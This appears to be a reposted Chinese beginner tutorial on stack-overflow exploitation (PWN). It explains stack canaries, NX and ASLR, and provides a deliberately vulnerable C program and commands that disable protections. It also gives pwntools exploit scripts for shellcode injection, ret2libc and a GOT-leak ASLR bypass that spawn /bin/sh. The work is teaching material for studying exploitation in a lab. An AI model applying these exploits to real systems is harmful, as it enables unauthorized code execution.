首页 网络安全 安全学院 查看内容

「掘安二进制安全小组」栈溢出入门教程

2019-7-18 12:44 |来自: 互联网 1042 0

摘要: 一步一步学PWN一、环境:ubuntu虚拟机pwntoolsLibcSearcherROPgadget参考:https://www.fjt1.com二、寄存器相关知识:EIP:主要用于存放当前代码段即将被执行的下一条指令的偏移,但其本质上并不能直接被指令直接访问。最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,也就是覆盖EIPESP ...
关键词: 地址 函数 system write shellcode libc 程序 字符串 27 内存

一步一步学PWN

一、环境:

ubuntu虚拟机

pwntools

LibcSearcher

ROPgadget

参考:https://www.fjt1.com

二、寄存器相关知识:

EIP:主要用于存放当前代码段即将被执行的下一条指令的偏移,但其本质上并不能直接被指令直接访问。

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,也就是覆盖EIP

ESP:栈顶指针,始终指向栈顶

EBP:栈底指针,通常叫栈基址

三、软件保护机制:

CANNARY(栈保护)

栈溢出保护是一种缓冲区溢出攻击缓解手段,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

NX(DEP)(数据执行保护 Data Execution Prevention)

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

PIE(ASLR)

内存地址随机化机制(address space layout randomization),有以下三种情况:

0 - 表示关闭进程地址空间随机化

1 - 表示将mmap的基址,stack和vdso页面随机化

2 - 表示在1的基础上增加堆(heap)的随机化

四、简单原理:

当我们在输入数据时,如果程序对输入没有限制,会导致输入的超出预定的范围,覆盖掉原来的数据



左边为正常情况,右边是输入超出限制后

如果我们输入的不是普通的数据,而是构造的数据会怎样?



构造后栈分布情况

我们完全可以通过更改原来的返回地址来控制程序的走向,上图中就利用返回地址来实现执行 shellcode

当然上面那种情况是啥保护都不开的情况,我们先从最简单的开始

这里用的是蒸米rop x86的例子

源码如下:

#include 
#include
#include
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
vulnerable_function();
write(STDOUT_FILENO, "Hello, Worldn", 13);
}

使用以下命令进行编译:

gcc -m32 -fno-stack-protector -z execstack -o level1 level1.c

-m32意思是编译为32位的程序

-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector

在 root 权限下执行:

echo 0 > /proc/sys/kernel/randomize_va_space

这样就关掉了整个系统的ASLR

使用

checksec

命令来检查一下保护机制:



使用一个python脚本来产生点数据

python pattern.py create 150


gdb ./level1

调试程序


r 

运行,输入之前用脚本创造的字符串



回车后发现报错如下:



再使用 python 脚本来计算一下偏移:

python pattern.py offset 0x37654136



这里解释一下,在 gdb 里报错的原因是本来的返回地址被我们输入的字符串覆盖掉了,覆盖为了0x37654136,当程序去返回的时候出错了,使用 pattern.py offset计算出来的就是整个栈的大小

也就是说此时的栈情况是如图所示:



根据之前讲的原理,如果我们能够找到填充的字符串开始的地方,把 0x37654136 改成找到的地址就可以执行我们的语句了

就像这样:



那就可以顺利执行到我们希望能够执行的 shellcode 了

还有个问题:

gdb 的调试环境会影响 buf 在内存中的位置,虽然我们关闭了 ASLR,但这只能保证 buf 的地址在 gdb 的调试环境中不变,但当我们直接执行 ./level1 的时候,buf 的位置会固定在别的地址上

这里采用的方法是开启:core dump

ulimit -c unlimited

开启之后,当出现内存错误的时候,系统会生成一个 core dump 文件在当前目录下。然后我们再用 gdb 查看这个 core 文件就可以获取到 buf 真正的地址了。



使用gdb调试转储的

gdb level1 core



使用

x/10s $esp-144

查看shellcode地址



为什么是 esp-144 ?

因为我们报错的时候其实已经执行的到返回地址了,所以要在 140 的栈空间的基础上加上 4 字节的返回地址空间

用 python 结合 pwntools 写利用脚本

from pwn import *
p = process('./level1')
ret = 0xffffcee0
shellcode = "x31xc9xf7xe1x51x68x2fx2fx73"
shellcode += "x68x68x2fx62x69x6ex89xe3xb0"
shellcode += "x0bxcdx80"
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()

利用成功:



接下来来进阶:

依旧是蒸米的,使用这条命令编译打开栈不可执行

gcc -m32 -fno-stack-protector -o level2 level2.c

这样之前的脚本就没法用了,因为我们的 shellcode 是写在栈上的。

这时候就要用到另一种方法了 -- ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置,一般情况下,我们会选择执行 system("/bin/sh")。

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。

即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

简单点说就是我们现在没法在栈上执行需要的命令了,但是我们可以去别的地方执行,在 libc.so 中就正好有我们需要找的:system("/bin/sh")。

上题:

前面说到关掉 ASLR 后 system() 函数在内存中的地址是不会变化的,并且 libc.so 中也包含 "/bin/sh" 这个字符串,并且这个字符串的地址也是固定的

我们使用 gdb 来找到这些地址

gdb ./level2

调试

我们首先在main函数上下一个断点:

b main


然后执行程序:

r



这样的话程序会加载 libc.so 到内存中

然后我们就可以通过:

print system

这个命令来获取 system 函数在内存中的位置



接下来我们可以通过find命令来查找:

find "/bin/sh" 

"/bin/sh" 这个字符串


这样就找到了我们需要的数据:

system地址:0xf7e41940

/bin/sh地址:0xf7f6002b

写出 exp:

from pwn import *
p = process('./level2')
ret = 0xffd76390
systemaddr=0xf7e41940
binshaddr=0xf7f6002b
payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()

关于 ret 地址:

system() 后面跟的是执行完 system() 后要返回的地址,接下来才是要给 system() 传递的参数:"/bin/sh" 字符串的地址。而我们目的是执行 "/bin/sh",ret 无所谓。

现在栈的分布大致是:



利用成功:

现在我们打开 ASLR,依旧是在root下

echo 2 > /proc/sys/kernel/randomize_va_space

这样因为地址随机化,我们以前的exp已经无效了

我们可以用

ldd level2

命令看一下 libc 的地址,每一次都在变化

那我们该怎么解决呐?

我们可以先泄漏出 libc.so 某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出 system() 函数和 /bin/sh 字符串在内存中的地址,然后再执行我们的 ret2libc 的 shellcode 就可以了

使用:

objdump -d -j .plt level2

查看可以利用的函数

使用:

objdump -R level2

查看对应 got 表

因为 system() 函数和 write() 在 libc.so 中的 offset (相对地址)是不变的,所以如果我们得到了 write() 的地址并且拥有 libc.so 就可以计算出 system() 在内存中的地址了

from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
p = process('./level2')
plt_write = elf.symbols['write']
got_write = elf.got['write']
vulfun_addr = 0x08048404
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
p.send(payload1)
write_addr = u32(p.recv(4))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
p.send(payload2)
p.interactive()

来解析一下 exp:

payload1的意思是:填充 140 个 A 后返回地址覆盖为 write 函数,通过 got_write 将 write 函数的真实地址泄露出来,执行完成 write 函数之后,返回地址为 vul 函数,再次利用 vul 函数的溢出漏洞,完成漏洞利用工作

利用成功:

文件及脚本打包:

链接:https://pan.baidu.com/s/1r0yNqwS_AzpXaqrfVQZ3nA
提取码:l9dz
本文出处: https://www.toutiao.com/a6714583862363554316/
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部